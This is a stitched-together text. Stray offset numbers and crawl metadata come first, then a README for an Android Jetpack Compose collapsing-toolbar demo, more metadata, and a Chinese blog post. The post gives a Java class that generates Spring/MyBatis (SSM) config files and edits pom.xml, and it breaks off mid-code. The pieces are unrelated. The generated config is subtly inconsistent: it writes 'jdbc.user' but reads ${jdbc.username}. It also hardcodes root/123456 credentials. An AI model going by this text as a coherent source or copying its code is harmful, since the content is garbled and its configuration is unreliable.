5520,
5545,
5546,
5555,
5602,
5603,
5659,
5660,
5765,
5782,
5783,
5839,
5840,
5879,
5880,
5887,
5888,
6026,
6027,
6160,
6161,
6168,
6169,
6307,
6308,
6401,
6402,
6540,
6541,
6587,
6588,
6595,
6596,
6678,
6679,
6703,
6768,
6769,
6853,
6873,
6874,
6893,
6894,
6942,
7024,
7025,
7041,
7042,
7069,
7076,
7104,
7105,
7117,
7118,
7123,
7124,
7135,
7136,
7157,
7164,
7172,
7173,
7179,
7180,
7198,
7199,
7206,
7207,
7213,
7214,
7249,
7250,
7260,
7261,
7294,
7295,
7302,
7303,
7324,
7325,
7354,
7355,
7374,
7375,
7484,
7485,
7492,
7493,
7534,
7535,
7669,
7696,
7754,
7781,
7837,
7887,
7888,
7895,
7896,
7985,
8028,
8045,
8046,
8066,
8067,
8168,
8169,
8189,
8190,
8194,
8195,
8217,
8218,
8229,
8230,
8328,
8329,
8338,
8339,
8355,
8360,
8361,
8527,
8555,
8674,
8675,
8682,
8683,
8710,
8711,
8735,
8736,
8744,
8745,
8775,
8776,
8969,
8997,
9064,
9092,
9163,
9164,
9173,
9174,
9218,
9219,
9247,
9264,
9265,
9272,
9273,
9387,
9388,
9395,
9396,
9507,
9508,
9527,
9528,
9535,
9536,
9598,
9599,
9622,
9623,
9646,
9647,
9651,
9652,
9713,
9714,
9721,
9722,
9735,
9736,
9778,
9779,
9804,
9805,
9808,
9809,
9831,
9832,
9900,
9901,
9911,
9912,
9936,
9937,
9941,
9942,
10019,
10020,
10029,
10030,
10155,
10156,
10165,
10166,
10181,
10186,
10187,
10368,
10369,
10378,
10379,
10419,
10424,
10425,
10445,
10446,
10454,
10455,
10484,
10485,
10537,
10542,
10543,
10648,
10672,
10673,
10725,
10730,
10731,
10763,
10764,
10771,
10772,
10800,
10801,
10934,
10939,
10940,
11073,
11074,
11081,
11082,
11175,
11176,
11309,
11314,
11315,
11365,
11366,
11499,
11504,
11505,
11512,
11513,
11590,
11595,
11596,
11620,
11685,
11686,
11690,
11691,
11759,
11760,
11761,
11775,
11832,
11837,
11861,
11982,
11993,
11998,
12080,
12198,
12209,
12213
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 12213,
"ccnet_original_nlines": 447,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.06724739074707031,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.02891986072063446,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.6871079802513123,
"rps_doc_frac_unique_words": 0.42990654706954956,
"rps_doc_mean_word_length": 13.487316131591797,
"rps_doc_num_sentences": 165,
"rps_doc_symbol_to_word_ratio": 0.010104529559612274,
"rps_doc_unigram_entropy": 5.1601667404174805,
"rps_doc_word_count": 749,
"rps_doc_frac_chars_dupe_10grams": 0.17887547612190247,
"rps_doc_frac_chars_dupe_5grams": 0.2230251431465149,
"rps_doc_frac_chars_dupe_6grams": 0.2084735631942749,
"rps_doc_frac_chars_dupe_7grams": 0.20362304151058197,
"rps_doc_frac_chars_dupe_8grams": 0.19768363237380981,
"rps_doc_frac_chars_dupe_9grams": 0.1891704648733139,
"rps_doc_frac_chars_top_2gram": 0.038804199546575546,
"rps_doc_frac_chars_top_3gram": 0.006335380021482706,
"rps_doc_frac_chars_top_4gram": 0.024252619594335556,
"rps_doc_books_importance": -1233.6805419921875,
"rps_doc_books_importance_length_correction": -1233.6805419921875,
"rps_doc_openwebtext_importance": -700.9122924804688,
"rps_doc_openwebtext_importance_length_correction": -700.9122924804688,
"rps_doc_wikipedia_importance": -519.6641235351562,
"rps_doc_wikipedia_importance_length_correction": -519.6641235351562
},
"fasttext": {
"dclm": 0.9172711372375488,
"english": 0.02130137011408806,
"fineweb_edu_approx": 1.5282368659973145,
"eai_general_math": 0.32095545530319214,
"eai_open_web_math": 0.2471718192100525,
"eai_web_code": 0.29208892583847046
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.82",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "4",
"label": "Analyze"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "4",
"label": "Advanced Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
6,672,802,611,542,052,000 | CollapsingToolbarInCompose
Branches
• master: Initial code.
• column_version: Resulting code using a Column.
• lazycolumn_version: Resulting code using a LazyColumn.
Description
This is a native Android application whose UI is completely implemented in Jetpack Compose. It replicates the functionality of a Coordinator Layout and displays a list of items with a collapsing toolbar on top that behaves differently depending on its scroll flag.
This project is part of a programming guide published on Medium that shows how to implement a collapsing toolbar in Jetpack Compose which can be found here.
Purpose
The main purpose is to show how to implement the same functionality of a Coordinator Layout built 100% in Jetpack Compose. In order to do so, 4 out of its 5 different behaviors/scroll flags are implemented:
Scroll behavior
The toolbar acts like if it were attached to the top of the list. When the list is scrolled down, the toolbar gets collapsed and leaves the screen before the first element does. When the list is scrolled up, once the first element is completely shown, the toolbar enters the screen and gets expanded.
EnterAlways behavior
As soon as the list is scrolled down, no matter its current position or scroll state, the toolbar gets collapsed and leaves the screen. When the list is scrolled up, the toolbar enters the screen immediately and gets expanded.
EnterAlwaysCollapsed behavior
As soon as the list is scrolled down, no matter its current position or scroll state, the toolbar gets collapsed and leaves the screen. When the list is scrolled up, the toolbar enters the screen immediately, but it only gets expanded if the first element is being shown completely.
ExitUntilCollapsed behavior
In this case, the toolbar never leaves the screen. As soon as the list is scrolled down, no matter its current position or scroll state, the toolbar gets collapsed. When the list is scrolled up, the toolbar gets expanded only if the first element is being shown completely.
Theme
The application is titled Costa Rica Wildlife and shows a list of exotic animals that can be found across this country.
Expanded Toolbar Preview
Collapsed Toolbar Preview
Sample List Preview
Photo Credits
GitHub
View Github | {
"url": "https://androidexample365.com/a-coordinator-layout-like-component-in-jetpack-compose/",
"source_domain": "androidexample365.com",
"snapshot_id": "crawl=CC-MAIN-2022-27",
"warc_metadata": {
"Content-Length": "40891",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:UPGBBDZA2TRICZPS437OPULTCUN5KSQH",
"WARC-Concurrent-To": "<urn:uuid:125d8ddc-13ea-4f48-8a81-065402e9113b>",
"WARC-Date": "2022-07-04T08:40:06Z",
"WARC-IP-Address": "172.67.164.79",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:GKQNWF3SOBGZQTRSG4FAD4GJIFQO6E5U",
"WARC-Record-ID": "<urn:uuid:2b6ad2d9-cd90-4d67-a9ad-3ed350666884>",
"WARC-Target-URI": "https://androidexample365.com/a-coordinator-layout-like-component-in-jetpack-compose/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:025c1ac1-6e1c-4554-92c2-acc94fe7ad73>"
},
"warc_info": "isPartOf: CC-MAIN-2022-27\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for June/July 2022\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-87\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.3-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
27,
28,
37,
38,
64,
115,
174,
175,
187,
188,
453,
454,
611,
612,
620,
621,
828,
829,
845,
846,
1147,
1148,
1169,
1170,
1397,
1398,
1428,
1429,
1712,
1713,
1741,
1742,
2016,
2017,
2023,
2024,
2144,
2145,
2170,
2171,
2197,
2198,
2218,
2219,
2220,
2234,
2235,
2242,
2243
],
"line_end_idx": [
27,
28,
37,
38,
64,
115,
174,
175,
187,
188,
453,
454,
611,
612,
620,
621,
828,
829,
845,
846,
1147,
1148,
1169,
1170,
1397,
1398,
1428,
1429,
1712,
1713,
1741,
1742,
2016,
2017,
2023,
2024,
2144,
2145,
2170,
2171,
2197,
2198,
2218,
2219,
2220,
2234,
2235,
2242,
2243,
2254
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 2254,
"ccnet_original_nlines": 49,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.3990024924278259,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.002493770094588399,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.11221945285797119,
"rps_doc_frac_unique_words": 0.371191143989563,
"rps_doc_mean_word_length": 5.049861431121826,
"rps_doc_num_sentences": 19,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.4173583984375,
"rps_doc_word_count": 361,
"rps_doc_frac_chars_dupe_10grams": 0.24300603568553925,
"rps_doc_frac_chars_dupe_5grams": 0.40263301134109497,
"rps_doc_frac_chars_dupe_6grams": 0.3390016555786133,
"rps_doc_frac_chars_dupe_7grams": 0.3263850808143616,
"rps_doc_frac_chars_dupe_8grams": 0.3263850808143616,
"rps_doc_frac_chars_dupe_9grams": 0.24300603568553925,
"rps_doc_frac_chars_top_2gram": 0.05485463887453079,
"rps_doc_frac_chars_top_3gram": 0.03949534147977829,
"rps_doc_frac_chars_top_4gram": 0.07460229843854904,
"rps_doc_books_importance": -152.60069274902344,
"rps_doc_books_importance_length_correction": -152.60069274902344,
"rps_doc_openwebtext_importance": -111.50089263916016,
"rps_doc_openwebtext_importance_length_correction": -111.50089263916016,
"rps_doc_wikipedia_importance": -71.90978240966797,
"rps_doc_wikipedia_importance_length_correction": -71.90978240966797
},
"fasttext": {
"dclm": 0.5199130773544312,
"english": 0.9037157297134399,
"fineweb_edu_approx": 3.0631942749023438,
"eai_general_math": 0.5095899105072021,
"eai_open_web_math": 0.11522424221038818,
"eai_web_code": 0.8421576023101807
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.0285",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "4",
"label": "Missing Images or Figures"
},
"secondary": {
"code": "0",
"label": "No missing content"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
6,178,699,464,212,106,000 | IT源码网
idea中ssm自动配置讲解
xmjava 2021年02月13日 编程语言 142 0
自动生成
只需要创建好maven项目，然后创建一个类Test，复制代码粘贴即可
使用注意：
代码
import java.io.*;
public class Test {
//包名格式
//列如配置到com.wbg.ssm包下 程序会自动添加dao\controller\service\entity
private final static String com = "com.wbg.ssm";
//数据库名称
private final static String database = "";
//数据库账号
private final static String user = "root";
//数据库密码
private final static String password = "123456";
public static void main(String[] args) throws IOException {
createStart();
}
static void createStart() {
//获取当前项目的路径
String url = System.getProperty("user.dir");
System.out.println("开始配置pom.xml");
System.out.println(configPomXml(url));
url = url + File.separator + "src" + File.separator + "main";
System.out.println("开始配置resources目录");
createResources(url + File.separator + "resources");
System.out.println("完成配置resources目录");
System.out.println("开始配置webapp目录");
createWebapp(url + File.separator + "webapp");
System.out.println("完成配置webapp目录");
}
//***********************Resources************************
/**
* 创建四个配置文件
* dbc.properties
* log4j.properties
* mybatis-config.xml
* spring-web.xml
*
* @return
*/
static boolean createResources(String url) {
if (createJdbcProperties(url)) {
System.out.println("jdbc.properties配置成功");
} else {
System.out.println("jdbc.properties配置失败");
}
if (log4jProperties(url)) {
System.out.println("log4j.properties配置成功");
} else {
System.out.println("log4j.properties配置失败");
}
if (mybatisConfig(url)) {
System.out.println("mybatis-config.xml配置成功");
} else {
System.out.println("mybatis-config.xml配置失败");
}
if (springWeb(url)) {
System.out.println("spring-web.xml配置成功");
} else {
System.out.println("spring-web.xml配置失败");
}
if (generatorConfig(url)) {
System.out.println("generatorConfig.xml配置成功");
} else {
System.out.println("generatorConfig.xml配置失败");
}
//\resources\spring
if (springDao(url + File.separator + "spring")) {
System.out.println("spring-dao.xml配置成功");
} else {
System.out.println("spring-dao.xml配置失败");
}
//\resources\spring
if (springService(url + File.separator + "spring")) {
System.out.println("spring-service.xml配置成功");
} else {
System.out.println("spring-service.xml配置失败");
}
return true;
}
/**
* 创建jdbc.properties配置文件
*
* @param url 路径
* @return
*/
static boolean createJdbcProperties(String url) {
File file = new File(url, "jdbc.properties");
String context = "jdbc.driver=org.mariadb.jdbc.Driver\n" +
"jdbc.url=jdbc:mariadb://localhost:3306/" + database + "\n" +
"jdbc.user="+user+"\n" +
"jdbc.password="+password+"";
return createFile(file, context);
}
/**
* 创建log4j.properties日志文件
*
* @param url 路径
* @return
*/
static boolean log4jProperties(String url) {
File file = new File(url, "log4j.properties");
String context = "# Global logging configuration\n" +
"log4j.rootLogger=ERROR, ooo\n" +
"\n" +
"# MyBatis logging configuration...\n" +
"log4j.logger." + com + ".dao=DEBUG\n" +
"\n" +
"# 规则1,名字为 ooo，向标准输出 System.err/out\n" +
"log4j.appender.ooo=org.apache.log4j.ConsoleAppender\n" +
"log4j.appender.ooo.layout=org.apache.log4j.PatternLayout\n" +
"log4j.appender.ooo.layout.ConversionPattern=%5p [%t] ~ %m%n\n";
return createFile(file, context);
}
/**
* 创建mybatis-config.xml配置文件
*
* @param url 路径
* @return
*/
static boolean mybatisConfig(String url) {
File file = new File(url, "mybatis-config.xml");
String context = "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n" +
"<!DOCTYPE configuration PUBLIC \"-//mybatis.org//DTD Config 3.0//EN\" \"http://mybatis.org/dtd/mybatis-3-config.dtd\">\n" +
"\n" +
"\n" +
"<configuration>\n" +
" <settings>\n" +
" <!-- 使用jdbc的getGeneratedKeys获取数据库自增主键值 -->\n" +
" <setting name=\"useGeneratedKeys\" value=\"true\" />\n" +
" <!-- 使用列别名替换列名 默认:true -->\n" +
" <setting name=\"useColumnLabel\" value=\"true\" />\n" +
" <!-- 开启驼峰命名转换:Table {create_time} -> Entity {createTime} -->\n" +
" <setting name=\"mapUnderscoreToCamelCase\" value=\"true\" />\n" +
" </settings>\n" +
"\n" +
" <plugins>\n" +
" <plugin interceptor=\"com.github.pagehelper.PageInterceptor\" />\n" +
" </plugins>\n" +
"</configuration>";
return createFile(file, context);
}
/**
* 创建spring-web.xml配置文件
*
* @return
*/
static boolean springWeb(String url) {
File file = new File(url, "spring-web.xml");
String context = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
"<beans xmlns=\"http://www.springframework.org/schema/beans\"\n" +
" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n" +
" xmlns:context=\"http://www.springframework.org/schema/context\"\n" +
" xmlns:mvc=\"http://www.springframework.org/schema/mvc\"\n" +
" xsi:schemaLocation=\"http://www.springframework.org/schema/beans\n" +
"\thttp://www.springframework.org/schema/beans/spring-beans.xsd\n" +
"\thttp://www.springframework.org/schema/context\n" +
"\thttp://www.springframework.org/schema/context/spring-context.xsd\n" +
"\thttp://www.springframework.org/schema/mvc\n" +
"\thttp://www.springframework.org/schema/mvc/spring-mvc-3.0.xsd\">\n" +
" <!-- 配置SpringMVC -->\n" +
" <!-- 1.开启SpringMVC注解模式 -->\n" +
" <!-- 简化配置：\n" +
" (1)自动注册DefaultAnootationHandlerMapping,AnotationMethodHandlerAdapter\n" +
" (2)提供一些列：数据绑定，数字和日期的format @NumberFormat, @DateTimeFormat, xml,json默认读写支持\n" +
" -->\n" +
" <mvc:annotation-driven />\n" +
"\n" +
" <!-- 2.静态资源默认servlet配置\n" +
" (1)加入对静态资源的处理：js,gif,png\n" +
" (2)允许使用\"/\"做整体映射\n" +
" -->\n" +
" <mvc:default-servlet-handler/>\n" +
"\n" +
" <!-- 3.配置jsp 显示ViewResolver -->\n" +
" <bean class=\"org.springframework.web.servlet.view.InternalResourceViewResolver\">\n" +
" <property name=\"viewClass\" value=\"org.springframework.web.servlet.view.JstlView\" />\n" +
" <property name=\"prefix\" value=\"/WEB-INF/jsp/\" />\n" +
" <property name=\"suffix\" value=\".jsp\" />\n" +
" </bean>\n" +
" <!-- 4.扫描web相关的bean -->\n" +
" <context:component-scan base-package=\"" + com + ".controller\" />\n" +
"</beans>";
return createFile(file, context);
}
/**
* 创建spring-dao.xml配置文件
*
* @param url 路径
* @return
*/
static boolean springDao(String url) {
File file = new File(url, "spring-dao.xml");
String context = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
"<beans xmlns=\"http://www.springframework.org/schema/beans\"\n" +
" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n" +
" xmlns:tx=\"http://www.springframework.org/schema/tx\" xmlns:context=\"http://www.springframework.org/schema/context\"\n" +
" xsi:schemaLocation=\"http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/tx http://www.springframework.org/schema/tx/spring-tx.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd\">\n" +
"\n" +
"\n" +
"\n" +
" <!-- 配置整合mybatis过程 -->\n" +
" <!-- 1.配置数据库相关参数properties的属性：${url} -->\n" +
" <context:property-placeholder location=\"classpath:jdbc.properties\" />\n" +
"\n" +
" <!-- 2.数据库连接池 -->\n" +
" <bean id=\"dataSource\" class=\"com.mchange.v2.c3p0.ComboPooledDataSource\">\n" +
" <property name=\"driverClass\" value=\"${jdbc.driver}\" />\n" +
" <property name=\"jdbcUrl\" value=\"${jdbc.url}\" />\n" +
" <property name=\"user\" value=\"${jdbc.username}\" />\n" +
" <property name=\"password\" value=\"${jdbc.password}\" />\n" +
"\n" +
" <!-- c3p0连接池的私有属性 -->\n" +
" <property name=\"maxPoolSize\" value=\"30\" />\n" +
" <property name=\"minPoolSize\" value=\"10\" />\n" +
" <!-- 关闭连接后不自动commit -->\n" +
" <property name=\"autoCommitOnClose\" value=\"false\" />\n" +
" <!-- 获取连接超时时间 -->\n" +
" <property name=\"checkoutTimeout\" value=\"10000\" />\n" +
" <!-- 当获取连接失败重试次数 -->\n" +
" <property name=\"acquireRetryAttempts\" value=\"2\" />\n" +
" </bean>\n" +
"\n" +
" <!-- 3.配置SqlSessionFactory对象 -->\n" +
" <bean id=\"sqlSessionFactory\" class=\"org.mybatis.spring.SqlSessionFactoryBean\">\n" +
" <!-- 注入数据库连接池 -->\n" +
" <property name=\"dataSource\" ref=\"dataSource\" />\n" +
" <!-- 配置MyBaties全局配置文件:mybatis-config.xml -->\n" +
" <property name=\"configLocation\" value=\"classpath:mybatis-config.xml\" />\n" +
" <!-- 扫描entity包 使用别名 -->\n" +
" <property name=\"typeAliasesPackage\" value=\"" + com + ".entity\" />\n" +
" <!-- 扫描sql配置文件:mapper需要的xml文件 -->\n" +
" <property name=\"mapperLocations\" value=\"classpath:mapper/*.xml\" />\n" +
" </bean>\n" +
"\n" +
" <!-- 4.配置扫描Dao接口包，动态实现Dao接口，注入到spring容器中 -->\n" +
" <bean class=\"org.mybatis.spring.mapper.MapperScannerConfigurer\">\n" +
" <!-- 注入sqlSessionFactory -->\n" +
" <property name=\"sqlSessionFactoryBeanName\" value=\"sqlSessionFactory\" />\n" +
" <!-- 给出需要扫描Dao接口包 -->\n" +
" <property name=\"basePackage\" value=\"" + com + ".dao\" />\n" +
" </bean>\n" +
"\n" +
" <!--配置声明式事务管理-->\n" +
" <bean id=\"transactionManager\" class=\"org.springframework.jdbc.datasource.DataSourceTransactionManager\">\n" +
" <property name=\"dataSource\" ref=\"dataSource\" />\n" +
" </bean>\n" +
" <tx:annotation-driven proxy-target-class=\"true\" />\n" +
"\n" +
"</beans>";
return createFile(file, context);
}
/**
* 创建spring-service.xml配置文件
*
* @param url 路径
* @return
*/
static boolean springService(String url) {
File file = new File(url, "spring-service.xml");
String context = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
"<beans xmlns=\"http://www.springframework.org/schema/beans\"\n" +
" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n" +
" xmlns:context=\"http://www.springframework.org/schema/context\"\n" +
" xmlns:tx=\"http://www.springframework.org/schema/tx\" xmlns:mvc=\"http://www.springframework.org/schema/mvc\"\n" +
" xmlns:aop=\"http://www.springframework.org/schema/aop\"\n" +
" xsi:schemaLocation=\"http://www.springframework.org/schema/beans\n" +
"\thttp://www.springframework.org/schema/beans/spring-beans.xsd\n" +
"\thttp://www.springframework.org/schema/context\n" +
"\thttp://www.springframework.org/schema/context/spring-context.xsd\n" +
" http://www.springframework.org/schema/mvc http://www.springframework.org/schema/mvc/spring-mvc.xsd http://www.springframework.org/schema/aop http://www.springframework.org/schema/aop/spring-aop.xsd\">\n" +
" <!-- 扫描service包下所有使用注解的类型 -->\n" +
" <context:component-scan base-package=\"" + com + ".service\" />\n" +
" <mvc:annotation-driven />\n" +
" <!-- 启用 aspectj 方式 AOP-->\n" +
" <aop:aspectj-autoproxy proxy-target-class=\"true\" />\n" +
"</beans>";
return createFile(file, context);
}
/**
* 创建generatorConfig.xml配置文件
* @param url
* @return
*/
static boolean generatorConfig(String url) {
File file = new File(url, "generatorConfig.xml");
String context = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
"<!DOCTYPE generatorConfiguration\n" +
" PUBLIC \"-//mybatis.org//DTD MyBatis Generator Configuration 1.0//EN\"\n" +
" \"http://mybatis.org/dtd/mybatis-generator-config_1_0.dtd\">\n" +
"\n" +
"<generatorConfiguration>\n" +
"\n" +
" <context id=\"xxx\" targetRuntime=\"MyBatis3Simple\">\n" +
"\n" +
"\n" +
" <commentGenerator>\n" +
" <property name=\"suppressDate\" value=\"true\" />\n" +
" </commentGenerator>\n" +
" <!-- 数据库连接 -->\n" +
" <jdbcConnection driverClass=\"org.mariadb.jdbc.Driver\"\n" +
" connectionURL=\"jdbc:mariadb://localhost/"+database+"\"\n" +
" userId=\""+user+"\" password=\""+password+"\">\n" +
" </jdbcConnection>\n" +
"\n" +
" <!-- Model生成规则 -->\n" +
" <javaModelGenerator targetPackage=\""+com+".entity\" targetProject=\"src/main/java\">\n" +
" <property name=\"trimStrings\" value=\"true\" />\n" +
" </javaModelGenerator>\n" +
"\n" +
" <sqlMapGenerator targetPackage=\"mapper\" targetProject=\"src/main/resources\"/>\n" +
" <!-- dao 规则 -->\n" +
" <javaClientGenerator type=\"XMLMAPPER\" targetPackage=\""+com+".dao\" targetProject=\"src/main/java\">\n" +
" <property name=\"enableSubPackages\" value=\"true\" />\n" +
" </javaClientGenerator>\n" +
" <table tableName=\"%\">\n" +
" <generatedKey column=\"id\" sqlStatement=\"Mysql\"/>\n" +
" </table>\n" +
" </context>\n" +
"</generatorConfiguration>";
return createFile(file, context);
}
//***********************webapp************************
static boolean createWebapp(String url) {
if (webXml(url + File.separator + "WEB-INF")) {
System.out.println("web.xml配置成功");
} else {
System.out.println("web.xml配置失败");
}
createCSSJSDirectory(url + File.separator);
return true;
}
/**
* 创建WEB-INF\web.xml配置文件
*
* @param url 路径
* @return
*/
static boolean webXml(String url) {
File file = new File(url, "web.xml");
String context = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
"<web-app xmlns=\"http://xmlns.jcp.org/xml/ns/javaee\"\n" +
" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n" +
" xsi:schemaLocation=\"http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd\"\n" +
" version=\"4.0\">\n" +
"\n" +
" <display-name>自动生成</display-name>\n" +
"\n" +
" <!--解决中文乱码-->\n" +
" <filter>\n" +
" <filter-name>encodingFilter</filter-name>\n" +
" <filter-class>org.springframework.web.filter.CharacterEncodingFilter</filter-class>\n" +
" <async-supported>true</async-supported>\n" +
" <init-param>\n" +
" <param-name>encoding</param-name>\n" +
" <param-value>UTF-8</param-value>\n" +
" </init-param>\n" +
"\n" +
" </filter>\n" +
" <filter-mapping>\n" +
" <filter-name>encodingFilter</filter-name>\n" +
" <url-pattern>/*</url-pattern>\n" +
" </filter-mapping>\n" +
"\n" +
" <!--配置 Spring 的容器-->\n" +
" <context-param>\n" +
" <param-name>contextConfigLocation</param-name>\n" +
" <param-value>classpath:spring/spring-*.xml</param-value>\n" +
" </context-param>\n" +
" <listener>\n" +
" <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>\n" +
" </listener>\n" +
"\n" +
" <!--配置 MVC 容器-->\n" +
" <!--将所有的请求都交给 Spring MVC 处理-->\n" +
" <servlet>\n" +
" <servlet-name>app</servlet-name>\n" +
" <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>\n" +
" <init-param>\n" +
" <param-name>contextConfigLocation</param-name>\n" +
" <param-value>classpath:spring-web.xml</param-value>\n" +
" </init-param>\n" +
" </servlet>\n" +
" <servlet-mapping>\n" +
" <servlet-name>app</servlet-name>\n" +
" <url-pattern>/</url-pattern>\n" +
" </servlet-mapping>\n" +
"</web-app>";
return createFile(file, context);
}
/**
* 创建css和js
*
* @param url 路径
*/
static boolean createCSSJSDirectory(String url) {
File fcss = new File(url + "css");
if (fcss.mkdirs()) {
System.out.println("成功创建css文件夹");
}
File fjs = new File(url + "js");
if (fjs.mkdirs()) {
System.out.println("成功创建js文件夹");
}
return true;
}
/**
* @param file 创建的文件
* @param context 文件里面的内容
*/
static boolean createFile(File file, String context) {
//获取文件
File parent = file.getParentFile();
//如果是目录
if (parent != null) {
//创建目录
parent.mkdirs();
}
try {
//创建文件
file.createNewFile();
FileWriter fileWriter = null;
try {
fileWriter = new FileWriter(file);
fileWriter.write(context);
fileWriter.flush();
fileWriter.close();
} catch (IOException e) {
return false;
}
} catch (IOException e) {
System.out.println("创建文件失败:" + e.getMessage());
}
return true;
}
//***********************pom.xml************************
/**
* 配置pom.xml文件
*
* @param url 路径
*/
static String configPomXml(String url) {
File file = new File(url, "pom.xml");
InputStream inputStream = null;
byte b[] = new byte[Integer.parseInt(String.valueOf(file.length()))];
StringBuffer stringBuffer = null;
try {
inputStream = new FileInputStream(file);
inputStream.read(b);
inputStream.close();
stringBuffer = new StringBuffer(new String(b));
stringBuffer.replace(Integer.parseInt(String.valueOf(file.length())) - 10, Integer.parseInt(String.valueOf(file.length())), "");
stringBuffer.append(pomContext());
} catch (Exception e) {
return "程序出错，请重试 -- pom.xml文件配置失败";
}
if (createFile(file, stringBuffer.toString())) {
return "pom.xml文件配置完成";
}
return "pom.xml文件配置失败";
}
/**
* pom.xml配置文件需要加的配置
*
* @return
*/
static String pomContext() {
return "<!--打包-->\n" +
" <packaging>war</packaging>\n" +
" <!--设置编码-->\n" +
" <properties>\n" +
" <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n" +
" <maven.compiler.source>1.8</maven.compiler.source>\n" +
" <maven.compiler.target>1.8</maven.compiler.target>\n" +
" <spring.version>5.1.0.RELEASE</spring.version>\n" +
" </properties>\n" +
" <!--引入文件-->\n" +
" <dependencies>\n" +
" <!-- Spring Web MVC -->\n" +
" <dependency>\n" +
" <groupId>org.springframework</groupId>\n" +
" <artifactId>spring-web</artifactId>\n" +
" <version>${spring.version}</version>\n" +
" </dependency>\n" +
